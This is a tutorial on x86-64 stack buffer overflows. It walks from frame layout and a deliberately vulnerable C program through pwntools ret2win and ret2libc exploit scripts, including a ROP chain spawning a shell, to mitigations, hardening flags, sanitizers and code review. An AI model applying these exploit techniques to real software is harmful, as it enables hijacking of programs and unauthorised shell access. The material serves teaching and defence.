A stack overflow is a write past the end of a buffer whose layout the compiler decided, followed by a return instruction that trusts whatever it finds at the top of the stack. Everything else, the shellcode, the ROP chain, the defeated ASLR, is engineering on top of that one broken assumption.

The frame

x86-64 on Linux follows the System V ABI. The first six integer arguments go in rdi, rsi, rdx, rcx, r8, and r9; the rest go on the stack. The return value comes back in rax. Before a call, the stack pointer is 16-byte aligned. The call pushes an 8-byte return address, so a function starts with rsp % 16 == 8.

A non-optimized function looks like this:

push   rbp            ; save the caller's frame pointer
mov    rbp, rsp       ; establish this frame
sub    rsp, 0x50      ; make room for locals
...
leave                 ; mov rsp, rbp; pop rbp
ret                   ; pop the return address into rip

The stack grows downward, so the frame occupies the addresses below rbp. A local buffer sits at some negative offset, and the saved return address sits at rbp + 8:

higher addresses
+----------------------+
| caller's frame       |
+----------------------+
| return address       |  <- rbp + 8
+----------------------+
| saved rbp            |  <- rbp
+----------------------+
| local buffer[64]     |  <- rbp - 64
+----------------------+
lower addresses

read() writes upward from the start of the buffer. Give it more than 64 bytes and it walks straight through the saved frame pointer and into the return address, because nothing in the function checks where the buffer ends.

The overflow

A minimal example:

#include <unistd.h>

__attribute__((noinline))
void win(void) {
    const char msg[] = "you win\n";
    write(1, msg, sizeof(msg) - 1);
}

int main(void) {
    char buf[64];
    read(0, buf, 256);
    return 0;
}

Compiled for demonstration, with the protections turned off:

gcc -O0 -fno-stack-protector -no-pie -o vuln vuln.c

That build is deliberately weak. -fno-stack-protector removes the canary, -no-pie keeps the code at fixed addresses, and NX is left enabled because the interesting version of this exploit does not need an executable stack. Modern GCC will also warn about the obvious overflow; a warning is not a mitigation. A quick check with pwntools would report:

RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE

The distance from the start of buf to the saved return address is 64 bytes of buffer plus 8 bytes of saved rbp. With that layout the offset is 72. Compilers are free to insert padding, so the reliable way to find it is a cyclic pattern: send a repeating sequence, crash, and read the value that landed in rip.

from pwn import *

io = process("./vuln")
io.send(cyclic(128))
io.wait()
core = io.corefile
print(hex(core.regs.rip))
print(cyclic_find(core.regs.rip))

Once the offset is known, the return address is just the next eight bytes in the payload. Point it at win and the process prints the message instead of crashing:

from pwn import *

elf = ELF("./vuln", checksec=False)
io = process("./vuln")

payload  = b"A" * 72
payload += p64(elf.sym.win)

io.send(payload)
print(io.recvall().decode())

That is a ret2win, the hello world of control-flow hijacking, and the last easy step. Real targets do not ship with a function that prints a flag, and the mitigations below turn “jump to a convenient address” into a multi-stage problem.

NX and ROP

If the stack is writable but not executable, injected shellcode fails at the first instruction fetch. The kernel maps the stack read-write, the CPU refuses to execute from it, and the process dies with a segmentation fault before any of the attacker’s bytes run.

The standard answer is return-oriented programming. Instead of injecting code, the attacker reuses code that is already mapped executable: short instruction sequences ending in ret, called gadgets. A gadget does one small thing, such as loading a value into rdi, and then returns to the next address on the stack.

A chain is just a list of addresses and values laid out where the return address used to be:

+----------------------+
| address of ret gadget|  <- alignment fix
+----------------------+
| address of pop rdi   |
+----------------------+
| address of "/bin/sh" |
+----------------------+
| address of system    |
+----------------------+
| ...                  |
+----------------------+

When the vulnerable function returns, rsp points at the first entry. The ret instruction pops it into rip. The CPU executes the gadget, hits another ret, and pops the next entry. The stack has become a program counter.

To call system("/bin/sh"), the chain needs the string pointer in rdi and then a jump to system. Finding the gadgets is mechanical:

ROPgadget --binary vuln | grep "pop rdi"
ropper --file vuln --search "pop rdi; ret"

One detail causes more failed exploits than any other: stack alignment. On function entry, the ABI expects rsp % 16 == 8, because a normal call leaves it that way. After the vulnerable function’s leave; ret, the first gadget sees rsp % 16 == 0. Each pop and each ret moves the pointer by eight bytes, which flips that parity. A chain that goes straight from pop rdi; ret into system arrives with the stack misaligned, and glibc’s system hits a movaps instruction on an address that is not 16-byte aligned. The result is a crash inside libc that looks nothing like the overflow.

The fix is one extra ret at the front of the chain. It consumes eight bytes and restores the parity that a real call would have produced. It is a one-gadget tax on almost every ret2libc exploit.

With a libc leak and the base address known, the full chain is:

payload  = b"A" * 72
payload += p64(ret_gadget)       # align rsp to 16 bytes
payload += p64(pop_rdi)
payload += p64(binsh_addr)       # next(libc.search(b"/bin/sh"))
payload += p64(libc.sym.system)

The binsh_addr and libc.sym.system values are only correct after the leak. Without a leak, ASLR randomizes libc on every run and the chain points into nothing.

The remaining mitigations

Each mitigation removes a class of exploit, which is why real targets require chaining several weaknesses.

A stack canary is a random value the compiler places between the locals and the saved rbp, read from thread-local storage at function entry and checked before returning. A linear overflow has to overwrite it, and the check fails before the return address is used. Bypasses exist: leak the canary through a format string or an over-read, brute-force it byte by byte on a server that forks without re-randomizing, or overwrite something the program uses before the check. -fstack-protector-strong covers more functions than the original heuristic, including arrays and locals whose address is taken.

ASLR moves the stack, the heap, libc, and, with -pie, the main executable. A fixed p64(elf.sym.win) becomes a guess. Exploits then need an information leak: a format string, an uninitialized buffer, a partial pointer, or a side channel. Partial overwrites are popular because the low 12 bits of a page offset do not change, so a one- or two-byte overwrite can redirect within the same region without knowing the base.

Full RELRO with BIND_NOW makes the GOT read-only after relocation, which kills the classic “overwrite a GOT entry with system” technique. Partial RELRO leaves part of the GOT writable. Neither affects a pure ROP chain that only reads existing code, which is why RELRO matters more for some exploit classes than others.

Intel CET keeps a second, hardware-protected copy of return addresses. A ret whose target does not match the shadow stack raises a control-protection fault, which breaks the core mechanic of ROP. ARM’s pointer authentication signs return addresses with a per-process key, and BTI restricts where indirect branches can land. CET and pointer authentication go after ROP itself instead of one of its inputs, but they depend on CPU, kernel, and compiler support all being enabled, and they push attention toward JOP and data-only attacks without eliminating control-flow hijacking.

Compiler flags and code review

The mitigation list is short and most of it is a compiler flag:

gcc -O2 -fstack-protector-strong -D_FORTIFY_SOURCE=3 \
    -fPIE -pie -Wl,-z,relro,-z,now \
    -fcf-protection=full -o app app.c

-fstack-protector-strong catches the common overflow patterns. -D_FORTIFY_SOURCE=3 adds checked variants of libc functions where the compiler can see the object size. -fPIE -pie makes the executable position-independent. Full RELRO plus BIND_NOW removes the writable GOT. -fcf-protection=full emits CET landing pads; shadow stacks are enforced when the CPU, kernel, and loader all support them.

Flags are not a substitute for bounds checking, and they are not uniformly available. Code that parses untrusted input in C or C++ needs review at the points where a length from the input reaches a copy, an index, or an allocation size. The bugs that matter are usually one line: an off-by-one in a loop bound, a signed/unsigned comparison, a length field trusted before validation, an integer multiplication that wraps before it reaches malloc.

Sanitizers find these during testing. AddressSanitizer catches the overflow at the moment it happens, with a stack trace that points at the write rather than wherever the corruption eventually crashes. UndefinedBehaviorSanitizer catches the signed overflow and the bad shift that made the length wrong in the first place. Fuzzing finds the inputs that reach them.

The larger fix is language choice. Rust, Go, Java, and C# do not let a write past a slice or an array bounds check turn into a return-address overwrite. They have their own bugs, and unsafe blocks exist for a reason, but the specific chain described here, a linear write, a saved return address, and a ret, does not occur in safe code. For new code that parses network input, that is a stronger guarantee than any combination of compiler flags.

Why the pattern persists

The exploit is old enough to be taught in a semester course, and it still maps cleanly onto real vulnerabilities. The frame layout has not changed. The ABI has not changed. The ret instruction still trusts the stack. Mitigations raised the cost and forced attackers to find a leak first, but they did not change the underlying property: a program that lets input decide where it writes has already given up control of its instruction pointer, whether or not the attacker has figured out where to point it yet.

In a code review, the questions that matter are about where a length comes from, who checked it against the destination, and what happens on the error path.